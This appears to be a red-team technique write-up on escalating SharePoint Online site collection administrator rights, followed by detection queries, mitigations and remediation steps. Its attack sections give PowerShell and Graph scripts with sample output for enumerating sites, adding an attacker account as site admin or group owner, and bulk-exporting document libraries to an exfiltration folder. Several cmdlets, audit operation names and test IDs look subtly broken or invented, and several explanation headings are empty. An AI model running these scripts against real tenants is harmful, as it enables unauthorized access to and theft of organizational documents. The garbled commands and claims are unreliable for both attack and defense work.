| Attribute | Details |
|---|---|
| Technique ID | PE-ACCTMGMT-003 |
| MITRE ATT&CK v18.1 | T1098 - Account Manipulation |
| Tactic | Privilege Escalation |
| Platforms | M365 (SharePoint Online) |
| Severity | High – Enables data exfiltration and lateral movement to tenant-wide resources |
| CVE | N/A |
| Technique Status | ACTIVE – Works on all current SharePoint Online implementations (as of January 2026) |
| Last Verified | 2026-01-09 |
| Affected Versions | All SharePoint Online tenants; no version exemptions |
| Patched In | N/A (Role scope design; mitigations required) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: A SharePoint Site Collection Administrator can escalate privileges through multiple vectors: (1) accessing sensitive files from other site collections via inherited group memberships, (2) modifying app permissions and OAuth integrations to gain elevated access, (3) escalating to tenant-level SharePoint Admin by exploiting role confusion between site collection scope and tenant scope, and (4) leveraging SharePoint’s REST API and PowerShell with elevated site collection permissions to read/modify files in locations they shouldn’t access. The attack exploits scope confusion—site collection admins are often treated as “just for that site” by organizational security teams, but actually have significant tenant-wide visibility and cross-site access via Microsoft Graph permissions.
Attack Surface: SharePoint Online admin center, SharePoint Management Shell (PowerShell), Microsoft Graph API (delegated permissions), OAuth app integrations.
Business Impact: Unauthorized access to sensitive business documents, intellectual property theft, compliance violations (document retention policies can be bypassed), lateral movement to Teams/OneDrive, disruption of collaboration. A SharePoint site collection admin can access files from all connected sites, export entire document libraries, modify file permissions to grant themselves permanent access, and use site access to pivot to other M365 services.
Technical Context: Escalation typically takes 10-20 minutes. Site collection admin permissions are often underestimated; many organizations grant this role liberally to business users for site management, not realizing the security implications. The role provides cross-site visibility via group membership and Microsoft 365 group ownership.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 2.1 | Ensure limited Global Administrator role assignments; roles like SharePoint Admin must not be delegated carelessly |
| DISA STIG | AZ-MS-000051 | SharePoint Online access must be restricted per least privilege principle |
| NIST 800-53 | AC-5 (Separation of Duties) | SharePoint admin role must not be assigned alongside data custodian roles in same individual |
| NIST 800-53 | AU-12 (Audit Generation) | SharePoint file access must be comprehensively audited |
| GDPR | Art. 32 (Security of Processing) | Access controls over personal data stored in SharePoint must be enforced |
| DORA | Art. 9 (Protection and Prevention) | Document access and approval workflows must be auditable |
| ISO 27001 | A.9.2.1 (Information Access Restriction) | SharePoint access must follow documented approval procedures |
| ISO 27001 | A.6.1.5 (Confidentiality Agreements) | Admin access to confidential documents must be logged and justified |
Supported Versions: All SharePoint Online versions
Objective: Find Microsoft 365 groups with site collections that contain sensitive data.
Command (PowerShell - Enumerate Groups):
# Connect to SharePoint Online
Connect-SPOService -Url "https://tenant-admin.sharepoint.com"
# List all site collections
$sites = Get-SPOSite -Limit All | Select-Object Url, Owner, Title
foreach ($site in $sites) {
Write-Host "Site: $($site.Url)"
Write-Host "Owner: $($site.Owner)"
Write-Host "---"
}
# Specifically find M365 group-connected sites
$groupSites = Get-SPOSite -Limit All | Where-Object { $_.GroupId -ne $null }
Write-Host "Microsoft 365 Group-connected sites:"
foreach ($groupSite in $groupSites) {
Write-Host "- $($groupSite.Url) (Group: $($groupSite.GroupId))"
}
Expected Output:
Site: https://tenant.sharepoint.com/sites/Executive
Owner: admin@tenant.onmicrosoft.com
---
Microsoft 365 Group-connected sites:
- https://tenant.sharepoint.com/sites/Executive (Group: aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee)
- https://tenant.sharepoint.com/sites/Finance (Group: ffffffff-gggg-hhhh-iiii-jjjjjjjjjjjj)
What This Means:
OpSec & Evasion:
Objective: Directly add current account to site collection administrators.
Command (PowerShell - Add Site Collection Admin):
# Target site collection
$siteUrl = "https://tenant.sharepoint.com/sites/Executive"
# Connect to site
Connect-PnPOnline -Url $siteUrl -Interactive
# Get current user
$currentUser = Get-PnPUser -Identity (Get-PnPContext).Web.CurrentUser.PrincipalId
# Try to add to site collection admins
try {
Set-PnPTenantSite -Url $siteUrl -Owners $currentUser.Email -ErrorAction Stop
Write-Host "Successfully added to site collection admins!"
} catch {
Write-Host "Direct addition failed: $_"
Write-Host "Attempting alternative methods..."
}
# Verify permissions
Get-PnPSiteCollectionAdmin -Url $siteUrl | Select-Object LoginName, DisplayName
Expected Output (If Successful):
Successfully added to site collection admins!
LoginName DisplayName
--------- -----------
i:0#.f|membership|attacker@tenant.com Attacker Account
Expected Output (If Failed):
Direct addition failed: Access Denied
Attempting alternative methods...
What This Means:
OpSec & Evasion:
Objective: Use site collection admin permissions to access all documents in the site collection.
Command (PowerShell - Export Site Content):
# Connect as site collection admin
Connect-PnPOnline -Url "https://tenant.sharepoint.com/sites/Executive" -Interactive
# Get all lists and libraries
$lists = Get-PnPList -Includes ContentTypes | Where-Object { $_.BaseType -eq "DocumentLibrary" }
# Export all documents
foreach ($list in $lists) {
Write-Host "Exporting from library: $($list.Title)"
# Get all documents
$documents = Get-PnPListItem -List $list.Title -PageSize 500
# Export to CSV with metadata
$documents | Select-Object Title, Created, Modified, @{Name="Author";Expression={$_.FieldValues["Author"]}} | `
Export-Csv -Path "C:\Exfil\$($list.Title)_Documents.csv" -Append
}
Write-Host "All site documents exported"
Expected Output:
Exporting from library: Shared Documents
Exporting from library: Contract Records
Exporting from library: Executive Reports
All site documents exported
What This Means:
OpSec & Evasion:
Supported Versions: All SharePoint Online versions
Objective: Identify if current account can become owner of an M365 group connected to high-value site.
Command (PowerShell - Check Group Ownership):
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Group.ReadWrite.All", "Sites.ReadWrite.All"
# Get all Microsoft 365 groups
$groups = Get-MgGroup -Filter "groupTypes/any(gt:gt eq 'Unified')" -All
foreach ($group in $groups) {
Write-Host "Group: $($group.DisplayName)"
# Check if this group is connected to SharePoint site
$sites = Get-MgGroupSite -GroupId $group.Id -ErrorAction SilentlyContinue
if ($sites) {
Write-Host " Connected Site: $($sites.WebUrl)"
}
# Get current owners
$owners = Get-MgGroupOwner -GroupId $group.Id
Write-Host " Current Owners: $(($owners.DisplayName) -join ', ')"
Write-Host " ---"
}
Expected Output:
Group: Executive Team
Connected Site: https://tenant.sharepoint.com/sites/Executive
Current Owners: CEO@tenant.com, CFO@tenant.com
---
Group: Finance Department
Connected Site: https://tenant.sharepoint.com/sites/Finance
Current Owners: Finance-Manager@tenant.com
---
What This Means:
Objective: Add current account as owner of the Microsoft 365 group, which grants site collection admin permissions.
Command (PowerShell - Add as Group Owner):
# Get the target group
$targetGroup = Get-MgGroup -Filter "displayName eq 'Executive Team'"
$currentUserId = (Get-MgUser -Filter "userPrincipalName eq 'attacker@tenant.com'").Id
# Add current user as group owner
New-MgGroupOwner -GroupId $targetGroup.Id -DirectoryObjectId $currentUserId
Write-Host "Successfully added as owner of group: $($targetGroup.DisplayName)"
# Verify
$owners = Get-MgGroupOwner -GroupId $targetGroup.Id
Write-Host "Group owners: $(($owners.DisplayName) -join ', ')"
Expected Output:
Successfully added as owner of group: Executive Team
Group owners: CEO@tenant.com, CFO@tenant.com, Attacker Account
What This Means:
OpSec & Evasion:
Objective: Use site collection admin permissions to escalate to tenant-level SharePoint admin.
Command (PowerShell - Check if Tenant-Level Escalation Possible):
# As site collection admin, try to elevate to tenant admin
$tenantSettings = Get-SPOTenant -ErrorAction SilentlyContinue
if ($null -eq $tenantSettings) {
Write-Host "⚠ Cannot access tenant settings (requires SharePoint Admin role)"
} else {
Write-Host "✓ Site collection admin has tenant-level visibility!"
Write-Host "Tenant Settings: $($tenantSettings | Select-Object -Property Url, Owner)"
}
# Alternative: Modify SharePoint app permissions to escalate
# (Requires site collection admin + ability to manage service principals)
$msGraph = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"
if ($msGraph) {
Write-Host "✓ Can access Microsoft Graph service principal (path to escalation)"
}
Expected Output:
Cannot access tenant settings (requires SharePoint Admin role)
But site collection admin can access all site-level resources and users
What This Means:
Supported Versions: All SharePoint Online versions
Command (PowerShell - REST API Site Collection Access):
# As site collection admin, use REST API to access sensitive site properties
$accessToken = Get-MgGraph -WhatIf | Select-Object -ExpandProperty AccessToken
$headers = @{
Authorization = "Bearer $accessToken"
}
# Get all subsites (full enumeration of site hierarchy)
$siteUrl = "https://tenant.sharepoint.com/sites/Executive"
$subsitesUri = "$siteUrl/_api/web/webs"
$subsites = Invoke-RestMethod -Uri $subsitesUri -Headers $headers -Method Get
$subsites.value | Select-Object Title, ServerRelativeUrl | Format-Table
# Get all users with permissions
$usersUri = "$siteUrl/_api/web/allusers"
$users = Invoke-RestMethod -Uri $usersUri -Headers $headers -Method Get
Write-Host "Users with access to site:"
$users.value | Select-Object Title, LoginName | Format-Table
# Export all list items as JSON
$listsUri = "$siteUrl/_api/web/lists"
$lists = Invoke-RestMethod -Uri $listsUri -Headers $headers -Method Get
foreach ($list in $lists.value) {
Write-Host "Exporting list: $($list.Title)"
$itemsUri = "$siteUrl/_api/web/lists('$($list.Id)')/items"
$items = Invoke-RestMethod -Uri $itemsUri -Headers $headers -Method Get
$items | Export-Csv -Path "C:\Exfil\$($list.Title).csv"
}
Expected Output:
Users with access to site:
Title LoginName
----- ---------
CEO i:0#.f|membership|ceo@tenant.com
Finance Manager i:0#.f|membership|finance@tenant.com
Attacker Account i:0#.f|membership|attacker@tenant.com
Exporting list: Quarterly Reports
Exporting list: Board Decisions
Exporting list: M&A Targets
What This Means:
OpSec & Evasion:
Atomic Test ID: T1098.001 (Additional Cloud Credentials)
Test Name: SharePoint Site Collection Administrator Escalation
Description: Simulates adding a user account to a SharePoint site collection administrator role to gain elevated access to site documents and settings.
Supported Versions: All SharePoint Online versions
Command:
Invoke-AtomicTest T1098 -TestNumbers 1 -ScriptPath "SharePoint_SiteAdmin_Escalation.ps1"
Reference: Atomic Red Team - T1098
Version: 16.0.20738.12000+ Minimum Version: 16.0.7000+ Supported Platforms: Windows (PowerShell 5.0+)
Installation:
Install-Module -Name Microsoft.Online.SharePoint.PowerShell -Scope CurrentUser
Usage:
Connect-SPOService -Url "https://tenant-admin.sharepoint.com"
Set-SPOUser -Site "https://tenant.sharepoint.com/sites/SiteName" -LoginName "user@tenant.com" -IsSiteCollectionAdmin $true
Version: 2.0+ Supported Platforms: Windows, macOS, Linux (PowerShell Core)
Installation:
Install-Module -Name PnP.PowerShell -Scope CurrentUser
Usage:
Connect-PnPOnline -Url "https://tenant.sharepoint.com/sites/SiteName"
Set-PnPTenantSite -Url "https://tenant.sharepoint.com/sites/SiteName" -Owners "user@tenant.com"
Rule Configuration:
SharePointFileOperationOperation, Site_Url, SourceFileExtension, UserIdKQL Query:
SharePointFileOperation
| where Operation in ("Set-SPOUser", "Add-SPOSiteCollectionAdmin", "New-SPOSiteCollectionAdministratorRole")
| extend SiteUrl = Site_Url
| extend AdminUser = UserId
| where AdminUser !in ("system", "admin-service-account@contoso.com") # Exclude system accounts
| project TimeGenerated, SiteUrl, AdminUser, Operation
| distinct SiteUrl, AdminUser
| where SiteUrl contains "Executive" or SiteUrl contains "Finance" or SiteUrl contains "HR" # High-value sites
What This Detects:
Rule Configuration:
SharePointFileOperationOperation, UserId, Site_Url, TimeGeneratedKQL Query:
SharePointFileOperation
| where Operation in ("FileAccessed", "FileDownloaded", "FileModified")
| extend SiteCollectionAdmin = UserId
| summarize FileAccessCount = count() by SiteCollectionAdmin, Site_Url, bin(TimeGenerated, 5m)
| where FileAccessCount > 50 // Threshold for bulk access
| project TimeGenerated, SiteCollectionAdmin, Site_Url, FileAccessCount
What This Detects:
Note: SharePoint Online is cloud-native; no Windows Event Logs generated on on-premises systems. Monitoring occurs via SharePoint audit logs in Microsoft Sentinel (see section 8).
Alert Name: “User added to SharePoint site collection administrator role”
PowerShell Command:
Connect-ExchangeOnline
# Search for site collection admin changes
Search-UnifiedAuditLog -Operations "Set-SPOUser", "Add-SPOSiteCollectionAdmin" `
-StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
-ResultSize 5000 | Export-Csv -Path "C:\Audits\SharePoint_Admin_Changes.csv"
# Search for file downloads (potential exfiltration)
Search-UnifiedAuditLog -Operations "FileDownloaded", "FileSyncDownloadedFull" `
-StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
-ResultSize 5000 | Where-Object { $_.ObjectId -like "*Executive*" -or $_.ObjectId -like "*Finance*" } | `
Export-Csv -Path "C:\Audits\SharePoint_Downloads.csv"
Limit Site Collection Administrator Assignments: Only assign to essential business users; require multi-level approval.
Manual Steps:
Implement PIM for SharePoint Admin Roles: Use Azure AD Privileged Identity Management to require approval and time-limited activation.
Manual Steps:
Enable SharePoint Audit Logging: Ensure all file access, downloads, and permission changes are logged.
Manual Steps:
Restrict Site Collection Admin to Business Users Only: Prevent service principals and administrative accounts from being site collection admins.
Manual Steps (PowerShell):
# Audit all site collection admins
Connect-SPOService -Url "https://tenant-admin.sharepoint.com"
Get-SPOSite -Limit All | ForEach-Object {
$site = $_
Get-SPOUser -Site $site.Url -Limit All |
Where-Object { $_.IsSiteCollectionAdmin -eq $true } |
Export-Csv -Path "C:\Reports\SiteCollectionAdmins.csv" -Append
}
# Review and remove service principals
Implement Conditional Access for SharePoint Access: Block access from unmanaged devices or unusual locations.
Manual Steps:
Restrict SharePoint Access to Compliant Devices# Check for unauthorized site collection admins
Connect-SPOService -Url "https://tenant-admin.sharepoint.com"
$unauthorizedAdmins = @()
Get-SPOSite -Limit All | ForEach-Object {
$site = $_
$admins = Get-SPOUser -Site $site.Url -Limit All | Where-Object { $_.IsSiteCollectionAdmin -eq $true }
foreach ($admin in $admins) {
if ($admin.DisplayName -notmatch "^(CEO|CFO|Finance Manager|IT Admin)$") {
$unauthorizedAdmins += $admin
}
}
}
if ($unauthorizedAdmins.Count -eq 0) {
Write-Host "✓ No unauthorized site collection admins found" -ForegroundColor Green
} else {
Write-Host "✗ Found $($unauthorizedAdmins.Count) unauthorized admins" -ForegroundColor Red
$unauthorizedAdmins | Select-Object DisplayName, Login
}
Expected Output (If Secure):
✓ No unauthorized site collection admins found
# Immediately remove from site collection admin role
Connect-SPOService -Url "https://tenant-admin.sharepoint.com"
Set-SPOUser -Site "https://tenant.sharepoint.com/sites/Executive" `
-LoginName "attacker@tenant.com" `
-IsSiteCollectionAdmin $false
# Revoke session
Revoke-SPOUserAllPermissions -Site "https://tenant.sharepoint.com/sites/Executive" -LoginName "attacker@tenant.com"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-M365-001] Microsoft Graph API Enumeration | Attacker enumerates M365 site collections and user roles |
| 2 | Initial Access | [IA-PHISH-005] Internal Spearphishing | Attacker tricks Business User into sharing credentials |
| 3 | Privilege Escalation (Current Step) | [PE-ACCTMGMT-003] | Attacker escalates from Business User → Site Collection Admin |
| 4 | Collection | [COLLECTION-009] SharePoint Document Exfiltration | Attacker downloads sensitive documents |
| 5 | Exfiltration | [EXFIL-004] External Document Upload | Attacker uploads stolen documents to personal cloud storage |